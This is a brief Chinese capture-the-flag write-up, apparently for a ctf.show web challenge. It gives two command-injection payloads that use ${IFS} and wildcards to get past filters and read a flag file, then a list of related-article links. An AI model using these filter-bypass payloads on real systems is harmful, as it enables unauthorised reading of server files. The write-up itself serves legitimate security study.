方法一：利用paste查看文件内容
payload：?c=paste${IFS}fla?.php
方法二：
payload：/bin/?at${IFS}f???????
可以理解为当前目录运行cat命令实际上运行的也是bin/cat，而通配符不会帮你去找到bin下面的cat
只会在当前目录寻找能通配的文件,所以用通配符运行时必须给出路径
相关文章
- 07-18web安全入门 4 （文件上传漏洞与webshell）
- 07-18Web入门-URL扫描工具dirsearch的使用
- 07-18web前端入门到实战：css3贝塞尔曲线(cubic-bezier)
- 07-18ctf_show-web入门-其他-（396-405）
- 07-1834-10000 web入门 HTML5布局 （div标签使用）持续高强度的投入技术研发工作，才能创造大的价值！
- 07-1824-10000 web开发入门-HTML布局 网页布局
- 07-18.Net Core gRPC入门(二)——Web客户端
- 07-18web前端入门到实战：CSS属性width和height
- 07-18Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击
- 07-18Cobalt Strike从入门到精通之Web Drive-By web钓鱼攻击